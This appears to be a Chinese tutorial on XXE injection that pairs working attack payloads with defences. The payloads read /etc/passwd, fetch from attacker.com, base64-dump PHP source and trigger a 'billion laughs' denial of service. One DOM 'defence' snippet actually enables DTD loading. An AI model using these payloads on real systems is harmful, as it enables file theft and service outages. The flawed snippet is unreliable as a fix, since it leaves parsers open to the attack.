科普：XXE注入攻擊與防御
0×00 前言
XXE Injection即XML External Entity Injection,也就是XML外部實體注入攻擊.漏洞是在對非安全的外部實體數據進⾏行處理時引發的安全問題.
在XML1.0標準⾥里,XML文檔結構⾥里定義了實體(entity)這個概念.實體可以通過預定義在文檔中調用,實體的標識符可訪問本地或遠程內容.如果在這個過程中引入了”污染”源,在對XML文檔處理后則可能導致信息泄漏等安全問題.
0×01 威脅
XXE漏洞目前還未受到廣泛關注,Wooyun上幾個XXE引起的安全問題:
pull-in任意文件遍歷/下載 從開源中國的某XXE漏洞到主站shell 百度某功能XML實體注入 百度某功能XML實體注入(二)
借助XXE,攻擊者可以實現任意文件讀取,DOS拒絕服務攻擊以及代理掃描內網等.
對于不同XML解析器,對外部實體有不同處理規則,在PHP中默認處理的函數為: xml_parse和simplexml_load xml_parse的實現方式為expat庫，默認情況不會解析外部實體,而simplexml_load默認情況下會解析外部實體,造成安全威脅.除PHP外，在Java，Python等處理xml的組件及函數中都可能存在此問題
0×02 語法
要寫Payload,首先要對XML實體語法有一定了解
XML中entity的定義語法為:
- <!DOCTYPE filename
- [
- <!ENTITY entity-name "entity-content"
- ]>
如果要引用一個外部資源,可以借助各種協議 幾個例子:
- file:///path/to/file.ext
- http://url/file.ext
- php://filter/read=convert.base64-encode/resource=conf.php
故構造幾種簡單的Payload模型如下:
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xdsec [
- <!ELEMENT methodname ANY >
- <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
- <methodcall>
- <methodname>&xxe;</methodname>
- </methodcall>
亦可讀取網站內容
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xdsec [
- <!ELEMENT methodname ANY >
- <!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]>
- <methodcall>
- <methodname>&xxe;</methodname>
- </methodcall>
如果包含文件失敗,可能是由于讀取php等文件時文件本身包含的<等字符.可以使用Base64編碼繞過,如:
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xdsec [
- <!ELEMENT methodname ANY >
- <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
- <methodcall>
- <methodname>&xxe;</methodname>
- </methodcall>
0×03 攻擊
借助XXE,有幾種可用且公開的攻擊方式:
拒絕服務
POC
- <?xml version = "1.0"?>
- <!DOCTYPE lolz [
- <!ENTITY lol "lol">
- <!ELEMENT lolz (#PCDATA)>
- <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
- <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
- <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
- <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
- <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
- <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
- <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
- <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
- <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
- <lolz>&lol9;</lolz>
POC中中先定義了lol實體，值為”lol”的字符串,后在下面又定義了lol2實體，lol2實體引用10個lol實體，lol3又引用了10個lol2實體的值，依此類推，到了最后在lolz元素中引用的lol9中，就會存在上億個”lol”字符串此時解析數據時未做特別處理，即可能造成拒絕服務攻擊。
此外還有一種可能造成拒絕服務的Payload,借助讀取/dev/random實現.
內網信息
借助各種協議如http,XXE可以協助掃描內網,可能可以訪問到內網開放WEB服務的Server,并獲取其他信息
文件讀取
最常規也是最有效的利用思路
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xdsec [
- <!ELEMENT methodname ANY >
- <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
- <methodcall>
- <methodname>&xxe;</methodname>
- </methodcall>
附上兩張截圖,實現文件讀取的過程
0×04 防御
1.檢查所使用的底層xml解析庫，默認禁止外部實體的解析
2.使用第三方應用代碼及時升級補丁
3.同時增強對系統的監控，防止此問題被人利用
對于PHP,由于simplexml_load_string函數的XML解析問題出在libxml庫上,所以加載實體前可以調用這樣一個函數
- <?php
- libxml_disable_entity_loader(true);
- ?>
以進行防護,對于XMLReader和DOM方式解析,可以參考如下代碼:
- <?php // with the XMLReader functionality: $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); // with the DOM functionality: $dom = new DOMDocument(); $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR); ?>>
0×05 參考
https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)
http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
http://cn2.php.net/libxml_disable_entity_loader
http://projects.webappsec.org/w/page/13247004/XML%20Injection
http://drops.wooyun.org/papers/1911
